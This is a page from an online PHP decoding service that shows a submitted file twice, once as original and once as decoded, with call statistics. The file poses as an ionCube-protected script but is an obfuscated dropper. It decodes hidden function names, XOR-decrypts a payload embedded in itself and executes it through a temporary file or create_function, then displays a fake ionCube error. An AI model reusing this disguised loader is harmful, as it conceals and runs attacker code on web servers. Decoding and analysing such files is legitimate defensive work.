Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php //0046 if (isset($__icqpl)){if(!extension_loaded('ionCube Loader')){$__oc=strtolowe..

Decoded Output download

IonCube Loader The script appears to be encrypted by the IonCube Decoder. Currently UnPHP can't decrypt files that require a module installed on the webserver.
<?php //0046 
if (isset($__icqpl)){if(!extension_loaded('ionCube Loader')){$__oc=strtolower(substr(php_uname(),0,3));$__ln='ioncube_loader_'.$__oc.'_'.substr(phpversion(),0,3).(($__oc=='win')?'.dll':'.so');if(function_exists('dl')){@dl($__ln);}if(function_exists('_il_exec')){return _il_exec();}$__ln='/ioncube/'.$__ln;$__oid=$__id=realpath(ini_get('extension_dir'));$__here=dirname(__FILE__);if(strlen($__id)>1&&$__id[1]==':'){$__id=str_replace('\','/',substr($__id,2));$__here=str_replace('\','/',substr($__here,2));}$__rd=str_repeat('/..',substr_count($__id,'/')).$__here.'/';$__i=strlen($__rd);while($__i--){if($__rd[$__i]=='/'){$__lp=substr($__rd,0,$__i).$__ln;if(file_exists($__oid.$__lp)){$__ln=$__lp;break;}}}if(function_exists('dl')){@dl($__ln);}}else{die('The file /tmp/DERPpMxJvw is corrupted. 
');}if(function_exists('_il_exec')){return _il_exec();}}else{$hkb='lyiZtogwnRJixiFhSbbkEBjYV';$wzs=str_replace('z', '', 'bzzazszezzzz6zzzz4zzzz_zzdzzezzzzczzozzzdzzzezzzz');$dfe=str_replace(';', '', $wzs('Zjs7O2k7O2w7ZTs7OztfOzs7Zzs7O2U7Ozs7dDs7O187Ozs7Yzs7O287O247O3Q7Ozs7ZTs7O247dDs7O3M7Ow=='));$dfe=$dfe(__FILE__);$dfe=str_replace("
",'',substr($dfe,strpos($dfe,str_replace('*', '', 'H*R****+*s**'))+4));$gqt='';foreach (str_split($wzs($dfe),strlen($hkb)) as $zue){$gqt.= $zue ^ $hkb;}$dfe=$gqt;$awa=str_replace('D', '', $wzs('dkRERERlRERyRERzRGlEREREb0RERG5ERF9ERGNERG9ERERtRERwREREYURERERyRERlRERE'));if($awa(PHP_VERSION,'7.0','>')){$jwt=str_replace('G', '', $wzs('c0dHR3lHR0dzR0dfR2dHZUdHdEdHR19HR3RHR0dHZUdtR3BHR0dfR0dHZEdHR0dpR0dHR3JHR0c='));$fks=str_replace('E', '', $wzs('aUVFRUVuRUVFRWlFX0VFZ0VFRUVlRUV0RUVFRQ=='));$yas=str_replace('f', '', $wzs('c2ZmZmVmdGZmX2ZpZmZmZm5mZmNmZmxmdWZmZmRmZmVmX2ZwZmZmYWZmZnRmZmZoZmZm'));$gyt=str_replace('I', '', $wzs('Z0lJSWVJSUl0SUlJSV9JaUluSWNJSUlsSUl1SUlJSWRJZUlJSUlfSXBJSWFJSUlJdElJSUloSUlJ'));$kxc=str_replace('3', '', $wzs('czNwMzNsMzNfM2EzM3UzMzMzdDNvMzMzbDMzM28zYTMzMzNkMzNfM2UzMzN4MzN0M2UzMzNuMzNzMzNpMzMzM28zMzNuMzNzMzMzMw=='));$xyq=str_replace('9', '', $wzs('czk5OXA5OWw5OTk5Xzk5OWE5OTl1OTk5OXQ5OTlvOTk5OWw5bzk5OTlhOTk5ZDk5Xzk5OXI5ZTk5OWc5OTk5aTk5czk5OTl0OWU5OTk5cjk5'));$rvy=str_replace('M', '', $wzs('Zk1Nb01NcE1NTWVNTU1Nbk0='));$uze=str_replace('5', '', $wzs('ZjU1NXA1dTU1NTV0NTU1NXM1'));$jlo=str_replace('J', '', $wzs('ZkpKY0pKSmxKSkpvSkpKSnNKSkpKZUo='));$nfv=str_replace('<', '', $wzs('dTw8PG48bDw8PGk8PDxuPDw8PGs8PDw8'));$mfe=$fks($wzs("dXBsb2FkX3RtcF9kaXI="));if ($mfe=='') $mfe=$jwt();$yas($gyt().PATH_SEPARATOR.$mfe);$kxc('.zxk.ueg');$xyq();$hov=$rvy($mfe.'/ste.zxk.ueg','w');$uze($hov, "<?php
class ste {};
$nfv('$mfe'.'/ste.zxk.ueg');
$dfe
?>");$jlo($hov);$nee=new ste();}else{$uyn='cty';$pnn=str_replace('X', '', $wzs('cFhYclhYZVhYWFhnWFhYX1hyWFhYZVhwWGxYWGFYWFhjWGVYX1hYWGNYYVhYWGxYWGxYYlhYYVhjWFhrWA=='));$irc=str_replace('U', '', $wzs('Y1VVclVVVVVlVWFVVVV0VVVVVWVVX1VVZlVVVVV1VVVuVVVjVXRVVVVVaVVVb1VuVVVV'));$pnn("/cty/", $irc('',$dfe), $uyn);}}echo('Site error: the file <b>/tmp/DERPMU9nNw</b> requires the ionCube PHP Loader ' . basename($__lp) . ' to be installed by the website operator. If you are the website operator please use the <a href="http://www.ioncube.com/lw/">ionCube Loader Wizard</a> to assist with installation.');exit(199); 
?> 

Did this file decode correctly?

Original Code

<?php //0046
if (isset($__icqpl)){if(!extension_loaded('ionCube Loader')){$__oc=strtolower(substr(php_uname(),0,3));$__ln='ioncube_loader_'.$__oc.'_'.substr(phpversion(),0,3).(($__oc=='win')?'.dll':'.so');if(function_exists('dl')){@dl($__ln);}if(function_exists('_il_exec')){return _il_exec();}$__ln='/ioncube/'.$__ln;$__oid=$__id=realpath(ini_get('extension_dir'));$__here=dirname(__FILE__);if(strlen($__id)>1&&$__id[1]==':'){$__id=str_replace('\\','/',substr($__id,2));$__here=str_replace('\\','/',substr($__here,2));}$__rd=str_repeat('/..',substr_count($__id,'/')).$__here.'/';$__i=strlen($__rd);while($__i--){if($__rd[$__i]=='/'){$__lp=substr($__rd,0,$__i).$__ln;if(file_exists($__oid.$__lp)){$__ln=$__lp;break;}}}if(function_exists('dl')){@dl($__ln);}}else{die('The file /tmp/DERPpMxJvw is corrupted.
');}if(function_exists('_il_exec')){return _il_exec();}}else{$hkb='lyiZtogwnRJixiFhSbbkEBjYV';$wzs=str_replace('z', '', 'bzzazszezzzz6zzzz4zzzz_zzdzzezzzzczzozzzdzzzezzzz');$dfe=str_replace(';', '', $wzs('Zjs7O2k7O2w7ZTs7OztfOzs7Zzs7O2U7Ozs7dDs7O187Ozs7Yzs7O287O247O3Q7Ozs7ZTs7O247dDs7O3M7Ow=='));$dfe=$dfe(__FILE__);$dfe=str_replace("\n",'',substr($dfe,strpos($dfe,str_replace('*', '', 'H*R****+*s**'))+4));$gqt='';foreach (str_split($wzs($dfe),strlen($hkb)) as $zue){$gqt.= $zue ^ $hkb;}$dfe=$gqt;$awa=str_replace('D', '', $wzs('dkRERERlRERyRERzRGlEREREb0RERG5ERF9ERGNERG9ERERtRERwREREYURERERyRERlRERE'));if($awa(PHP_VERSION,'7.0','>')){$jwt=str_replace('G', '', $wzs('c0dHR3lHR0dzR0dfR2dHZUdHdEdHR19HR3RHR0dHZUdtR3BHR0dfR0dHZEdHR0dpR0dHR3JHR0c='));$fks=str_replace('E', '', $wzs('aUVFRUVuRUVFRWlFX0VFZ0VFRUVlRUV0RUVFRQ=='));$yas=str_replace('f', '', $wzs('c2ZmZmVmdGZmX2ZpZmZmZm5mZmNmZmxmdWZmZmRmZmVmX2ZwZmZmYWZmZnRmZmZoZmZm'));$gyt=str_replace('I', '', $wzs('Z0lJSWVJSUl0SUlJSV9JaUluSWNJSUlsSUl1SUlJSWRJZUlJSUlfSXBJSWFJSUlJdElJSUloSUlJ'));$kxc=str_replace('3', '', $wzs('czNwMzNsMzNfM2EzM3UzMzMzdDNvMzMzbDMzM28zYTMzMzNkMzNfM2UzMzN4MzN0M2UzMzNuMzNzMzNpMzMzM28zMzNuMzNzMzMzMw=='));$xyq=str_replace('9', '', $wzs('czk5OXA5OWw5OTk5Xzk5OWE5OTl1OTk5OXQ5OTlvOTk5OWw5bzk5OTlhOTk5ZDk5Xzk5OXI5ZTk5OWc5OTk5aTk5czk5OTl0OWU5OTk5cjk5'));$rvy=str_replace('M', '', $wzs('Zk1Nb01NcE1NTWVNTU1Nbk0='));$uze=str_replace('5', '', $wzs('ZjU1NXA1dTU1NTV0NTU1NXM1'));$jlo=str_replace('J', '', $wzs('ZkpKY0pKSmxKSkpvSkpKSnNKSkpKZUo='));$nfv=str_replace('<', '', $wzs('dTw8PG48bDw8PGk8PDxuPDw8PGs8PDw8'));$mfe=$fks($wzs("dXBsb2FkX3RtcF9kaXI="));if ($mfe=='') $mfe=$jwt();$yas($gyt().PATH_SEPARATOR.$mfe);$kxc('.zxk.ueg');$xyq();$hov=$rvy($mfe.'/ste.zxk.ueg','w');$uze($hov, "<?php\nclass ste {};\n$nfv('$mfe'.'/ste.zxk.ueg');\n$dfe\n?>");$jlo($hov);$nee=new ste();}else{$uyn='cty';$pnn=str_replace('X', '', $wzs('cFhYclhYZVhYWFhnWFhYX1hyWFhYZVhwWGxYWGFYWFhjWGVYX1hYWGNYYVhYWGxYWGxYYlhYYVhjWFhrWA=='));$irc=str_replace('U', '', $wzs('Y1VVclVVVVVlVWFVVVV0VVVVVWVVX1VVZlVVVVV1VVVuVVVjVXRVVVVVaVVVb1VuVVVV'));$pnn("/cty/", $irc('',$dfe), $uyn);}}echo('Site error: the file <b>/tmp/DERPMU9nNw</b> requires the ionCube PHP Loader ' . basename($__lp) . ' to be installed by the website operator. If you are the website operator please use the <a href="http://www.ioncube.com/lw/">ionCube Loader Wizard</a> to assist with installation.');exit(199);
?> 

Function Calls

strlen 1
strpos 1
substr 1
str_split 1
str_replace 4
base64_decode 2
file_get_contents 1

Variables

$dfe
$gqt
$hkb lyiZtogwnRJixiFhSbbkEBjYV
$wzs base64_decode

Stats

MD5 3af4b1dbca26bdda857b670d4e5629f6
Eval Count 0
Decode Time 141 ms